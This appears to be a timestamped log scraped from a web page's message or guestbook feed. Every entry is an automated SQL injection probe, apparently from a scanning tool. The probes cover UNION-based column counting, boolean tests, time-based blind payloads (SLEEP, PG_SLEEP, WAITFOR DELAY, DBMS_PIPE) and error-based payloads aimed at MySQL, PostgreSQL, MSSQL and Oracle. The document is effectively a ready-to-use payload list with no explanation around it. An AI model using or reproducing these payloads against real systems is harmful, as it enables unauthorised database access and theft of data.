[06(Thu) 06:38 am] 1> 1 AND 5735=6501
[06(Thu) 06:38 am] 1> 1) AND 6550=6550 AND (2636=2636
[06(Thu) 06:37 am] 1> 1) AND 7153=2815 AND (2080=2080
[06(Thu) 06:37 am] 1> 1'ymiATK
[06(Thu) 06:37 am] 1> 1.7HSnB
[06(Thu) 06:37 am] 1> 9567-9566
[06(Thu) 06:36 am] 1> 1'."(.),))'
[06(Thu) 06:36 am] 1> 3059
[06(Thu) 06:36 am] 1> 6366
[06(Thu) 06:36 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:35 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:35 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:35 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:35 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:34 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:34 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:34 am] 1%' UNION ALL SELECT NULL,NULL,NULL#> 1
[06(Thu) 06:34 am] 1%' UNION ALL SELECT NULL,NULL#> 1
[06(Thu) 06:33 am] 1%' UNION ALL SELECT NULL#> 1
[06(Thu) 06:33 am] 1%' ORDER BY 1#> 1
[06(Thu) 06:33 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:32 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:32 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:32 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:32 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:31 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:31 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:31 am] 1' UNION ALL SELECT NULL,NULL,NULL#> 1
[06(Thu) 06:31 am] 1' UNION ALL SELECT NULL,NULL#> 1
[06(Thu) 06:30 am] 1' UNION ALL SELECT NULL#> 1
[06(Thu) 06:30 am] 1' ORDER BY 1#> 1
[06(Thu) 06:30 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:30 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:29 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:29 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:29 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:28 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:28 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:28 am] 1') UNION ALL SELECT NULL,NULL,NULL#> 1
[06(Thu) 06:28 am] 1') UNION ALL SELECT NULL,NULL#> 1
[06(Thu) 06:27 am] 1') UNION ALL SELECT NULL#> 1
[06(Thu) 06:27 am] 1') ORDER BY 1#> 1
[06(Thu) 06:27 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:27 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:26 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:26 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:26 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:25 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:25 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:25 am] 1 UNION ALL SELECT NULL,NULL,NULL#> 1
[06(Thu) 06:25 am] 1 UNION ALL SELECT NULL,NULL#> 1
[06(Thu) 06:24 am] 1 UNION ALL SELECT NULL#> 1
[06(Thu) 06:24 am] 1 ORDER BY 1#> 1
[06(Thu) 06:24 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:24 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:24 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:23 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:23 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:23 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:23 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:22 am] 1 UNION ALL SELECT NULL,NULL,NULL#> 1
[06(Thu) 06:22 am] 1 UNION ALL SELECT NULL,NULL#> 1
[06(Thu) 06:22 am] 1 UNION ALL SELECT NULL#> 1
[06(Thu) 06:21 am] 1 ORDER BY 1#> 1
[06(Thu) 06:21 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:21 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:21 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:20 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:20 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:20 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:20 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL#> 1
[06(Thu) 06:20 am] 1) UNION ALL SELECT NULL,NULL,NULL#> 1
[06(Thu) 06:19 am] 1) UNION ALL SELECT NULL,NULL#> 1
[06(Thu) 06:19 am] 1) UNION ALL SELECT NULL#> 1
[06(Thu) 06:19 am] 1) ORDER BY 1#> 1
[06(Thu) 06:19 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- sWpj> 1
[06(Thu) 06:18 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- uOWH> 1
[06(Thu) 06:18 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- wUJQ> 1
[06(Thu) 06:18 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- AXEI> 1
[06(Thu) 06:18 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- kTeY> 1
[06(Thu) 06:17 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- KdWr> 1
[06(Thu) 06:17 am] 1%' UNION ALL SELECT NULL,NULL,NULL,NULL-- Hblz> 1
[06(Thu) 06:17 am] 1%' UNION ALL SELECT NULL,NULL,NULL-- LPUw> 1
[06(Thu) 06:17 am] 1%' UNION ALL SELECT NULL,NULL-- nGfC> 1
[06(Thu) 06:16 am] 1%' UNION ALL SELECT NULL-- gwZo> 1
[06(Thu) 06:16 am] 1%' ORDER BY 1-- bYrt> 1
[06(Thu) 06:16 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- mTqq> 1
[06(Thu) 06:15 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- yMlb> 1
[06(Thu) 06:15 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- PmQZ> 1
[06(Thu) 06:15 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Appc> 1
[06(Thu) 06:14 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- fSHR> 1
[06(Thu) 06:14 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- ExpY> 1
[06(Thu) 06:14 am] 1' UNION ALL SELECT NULL,NULL,NULL,NULL-- uorn> 1
[06(Thu) 06:14 am] 1' UNION ALL SELECT NULL,NULL,NULL-- LiXu> 1
[06(Thu) 06:13 am] 1' UNION ALL SELECT NULL,NULL-- ZHKf> 1
[06(Thu) 06:13 am] 1' UNION ALL SELECT NULL-- pnfg> 1
[06(Thu) 06:13 am] 1' ORDER BY 1-- tBPB> 1
[06(Thu) 06:13 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Ymss> 1
[06(Thu) 06:12 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Nqxo> 1
[06(Thu) 06:12 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- cETo> 1
[06(Thu) 06:12 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ssdO> 1
[06(Thu) 06:12 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- oktN> 1
[06(Thu) 06:11 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- Beef> 1
[06(Thu) 06:11 am] 1') UNION ALL SELECT NULL,NULL,NULL,NULL-- lXAl> 1
[06(Thu) 06:11 am] 1') UNION ALL SELECT NULL,NULL,NULL-- AXSO> 1
[06(Thu) 06:11 am] 1') UNION ALL SELECT NULL,NULL-- fBjG> 1
[06(Thu) 06:10 am] 1') UNION ALL SELECT NULL-- wXRc> 1
[06(Thu) 06:10 am] 1') ORDER BY 1-- dMVE> 1
[06(Thu) 06:10 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- nsue> 1
[06(Thu) 06:10 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- BhBw> 1
[06(Thu) 06:09 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- BvGw> 1
[06(Thu) 06:09 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- YRov> 1
[06(Thu) 06:09 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- wtnU> 1
[06(Thu) 06:09 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- OxPk> 1
[06(Thu) 06:08 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL-- paQt> 1
[06(Thu) 06:08 am] 1 UNION ALL SELECT NULL,NULL,NULL-- hRfD> 1
[06(Thu) 06:08 am] 1 UNION ALL SELECT NULL,NULL-- bzYh> 1
[06(Thu) 06:08 am] 1 UNION ALL SELECT NULL-- oGlu> 1
[06(Thu) 06:07 am] 1 ORDER BY 1-- RMpD> 1
[06(Thu) 06:07 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- aDrD> 1
[06(Thu) 06:07 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ocnk> 1
[06(Thu) 06:07 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FUgn> 1
[06(Thu) 06:06 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- oDkb> 1
[06(Thu) 06:06 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- iltO> 1
[06(Thu) 06:06 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- hwvw> 1
[06(Thu) 06:05 am] 1 UNION ALL SELECT NULL,NULL,NULL,NULL-- wSNU> 1
[06(Thu) 06:05 am] 1 UNION ALL SELECT NULL,NULL,NULL-- QMVh> 1
[06(Thu) 06:05 am] 1 UNION ALL SELECT NULL,NULL-- YToM> 1
[06(Thu) 06:04 am] 1 UNION ALL SELECT NULL-- Xfcg> 1
[06(Thu) 06:04 am] 1 ORDER BY 1-- fVBp> 1
[06(Thu) 06:04 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- rHVS> 1
[06(Thu) 06:04 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- uldB> 1
[06(Thu) 06:03 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- yBzD> 1
[06(Thu) 06:03 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ziNx> 1
[06(Thu) 06:03 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- tJVe> 1
[06(Thu) 06:03 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- rgAG> 1
[06(Thu) 06:02 am] 1) UNION ALL SELECT NULL,NULL,NULL,NULL-- Qazc> 1
[06(Thu) 06:02 am] 1) UNION ALL SELECT NULL,NULL,NULL-- awzc> 1
[06(Thu) 06:02 am] 1) UNION ALL SELECT NULL,NULL-- XvoA> 1
[06(Thu) 06:01 am] 1) UNION ALL SELECT NULL-- xExi> 1
[06(Thu) 06:01 am] 1) ORDER BY 1-- gmVZ> 1
[06(Thu) 06:01 am] 1%' AND 5446=DBMS_PIPE.RECEIVE_MESSAGE(CHR(83)||CHR(70)||CHR(75)||CHR(97),5) AND '%'='> 1
[06(Thu) 06:01 am] 1' AND 5446=DBMS_PIPE.RECEIVE_MESSAGE(CHR(83)||CHR(70)||CHR(75)||CHR(97),5) AND 'xhts'='xhts> 1
[06(Thu) 06:00 am] 1') AND 5446=DBMS_PIPE.RECEIVE_MESSAGE(CHR(83)||CHR(70)||CHR(75)||CHR(97),5) AND ('PHsI'='PHsI> 1
[06(Thu) 06:00 am] 1 AND 5446=DBMS_PIPE.RECEIVE_MESSAGE(CHR(83)||CHR(70)||CHR(75)||CHR(97),5)-- xtMp> 1
[06(Thu) 06:00 am] 1 AND 5446=DBMS_PIPE.RECEIVE_MESSAGE(CHR(83)||CHR(70)||CHR(75)||CHR(97),5)> 1
[06(Thu) 06:00 am] 1) AND 5446=DBMS_PIPE.RECEIVE_MESSAGE(CHR(83)||CHR(70)||CHR(75)||CHR(97),5) AND (5902=5902> 1
[06(Thu) 05:59 am] 1%' WAITFOR DELAY '0:0:5' AND '%'='> 1
[06(Thu) 05:59 am] 1' WAITFOR DELAY '0:0:5' AND 'ChIr'='ChIr> 1
[06(Thu) 05:59 am] 1') WAITFOR DELAY '0:0:5' AND ('waFl'='waFl> 1
[06(Thu) 05:59 am] 1 WAITFOR DELAY '0:0:5'-- Yuss> 1
[06(Thu) 05:58 am] 1 WAITFOR DELAY '0:0:5'> 1
[06(Thu) 05:58 am] 1) WAITFOR DELAY '0:0:5' AND (4455=4455> 1
[06(Thu) 05:58 am] 1%' AND 7287=(SELECT 7287 FROM PG_SLEEP(5)) AND '%'='> 1
[06(Thu) 05:58 am] 1' AND 7287=(SELECT 7287 FROM PG_SLEEP(5)) AND 'mFFS'='mFFS> 1
[06(Thu) 05:57 am] 1') AND 7287=(SELECT 7287 FROM PG_SLEEP(5)) AND ('jicw'='jicw> 1
[06(Thu) 05:57 am] 1 AND 7287=(SELECT 7287 FROM PG_SLEEP(5))-- IIho> 1
[06(Thu) 05:57 am] 1 AND 7287=(SELECT 7287 FROM PG_SLEEP(5))> 1
[06(Thu) 05:57 am] 1) AND 7287=(SELECT 7287 FROM PG_SLEEP(5)) AND (3777=3777> 1
[06(Thu) 05:56 am] 1%' AND SLEEP(5) AND '%'='> 1
[06(Thu) 05:56 am] 1' AND SLEEP(5) AND 'gVZo'='gVZo> 1
[06(Thu) 05:56 am] 1') AND SLEEP(5) AND ('sNpp'='sNpp> 1
[06(Thu) 05:56 am] 1 AND SLEEP(5)-- UxgB> 1
[06(Thu) 05:55 am] 1 AND SLEEP(5)> 1
[06(Thu) 05:55 am] 1) AND SLEEP(5) AND (2973=2973> 1
[06(Thu) 05:55 am] 1%';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(75)||CHR(85)||CHR(67),5) FROM DUAL--> 1
[06(Thu) 05:55 am] 1';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(75)||CHR(85)||CHR(67),5) FROM DUAL--> 1
[06(Thu) 05:54 am] 1');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(75)||CHR(85)||CHR(67),5) FROM DUAL--> 1
[06(Thu) 05:54 am] 1;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(75)||CHR(85)||CHR(67),5) FROM DUAL--> 1
[06(Thu) 05:54 am] 1);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(75)||CHR(85)||CHR(67),5) FROM DUAL--> 1
[06(Thu) 05:54 am] 1%';WAITFOR DELAY '0:0:5'--> 1
[06(Thu) 05:53 am] 1';WAITFOR DELAY '0:0:5'--> 1
[06(Thu) 05:53 am] 1');WAITFOR DELAY '0:0:5'--> 1
[06(Thu) 05:53 am] 1;WAITFOR DELAY '0:0:5'--> 1
[06(Thu) 05:53 am] 1);WAITFOR DELAY '0:0:5'--> 1
[06(Thu) 05:52 am] 1%';SELECT PG_SLEEP(5)--> 1
[06(Thu) 05:52 am] 1';SELECT PG_SLEEP(5)--> 1
[06(Thu) 05:52 am] 1');SELECT PG_SLEEP(5)--> 1
[06(Thu) 05:51 am] 1;SELECT PG_SLEEP(5)--> 1
[06(Thu) 05:51 am] 1);SELECT PG_SLEEP(5)--> 1
[06(Thu) 05:51 am] 1%';SELECT SLEEP(5)#> 1
[06(Thu) 05:50 am] 1';SELECT SLEEP(5)#> 1
[06(Thu) 05:50 am] 1');SELECT SLEEP(5)#> 1
[06(Thu) 05:50 am] 1;SELECT SLEEP(5)#> 1
[06(Thu) 05:49 am] 1);SELECT SLEEP(5)#> 1
[06(Thu) 05:49 am] (SELECT CHAR(113)+CHAR(120)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (3738=3738) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(98)+CHAR(113))> 1
[06(Thu) 05:49 am] (SELECT (CHR(113)||CHR(120)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (5608=5608) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(112)||CHR(98)||CHR(113)))> 1
[06(Thu) 05:48 am] (SELECT CONCAT(0x7178626271,(SELECT (ELT(3245=3245,1))),0x7176706271))> 1
[06(Thu) 05:48 am] (SELECT 6895 FROM(SELECT COUNT(*),CONCAT(0x7178626271,(SELECT (ELT(6895=6895,1))),0x7176706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)> 1
[06(Thu) 05:47 am] 1%' AND 3943=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3943=3943) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(112)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND '%'='> 1
[06(Thu) 05:47 am] 1' AND 3943=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3943=3943) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(112)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND 'KltQ'='KltQ> 1
[06(Thu) 05:47 am] 1') AND 3943=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3943=3943) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(112)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND ('bzje'='bzje> 1
[06(Thu) 05:46 am] 1 AND 3943=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3943=3943) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(112)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL)-- DByH> 1
[06(Thu) 05:46 am] 1 AND 3943=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3943=3943) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(112)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL)> 1
[06(Thu) 05:45 am] 1) AND 3943=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(98)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (3943=3943) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(112)||CHR(98)||CHR(113)||CHR(62))) FROM DUAL) AND (6278=6278> 1
[06(Thu) 05:45 am] 1%' AND 4774=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (4774=4774) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(98)+CHAR(113))) AND '%'='> 1
[06(Thu) 05:45 am] 1' AND 4774=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (4774=4774) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(98)+CHAR(113))) AND 'XWwK'='XWwK> 1
[06(Thu) 05:44 am] 1') AND 4774=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (4774=4774) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(98)+CHAR(113))) AND ('XtUu'='XtUu> 1
[06(Thu) 05:44 am] 1 AND 4774=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (4774=4774) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(98)+CHAR(113)))-- ztIs> 1
[06(Thu) 05:44 am] 1 AND 4774=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (4774=4774) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(98)+CHAR(113)))> 1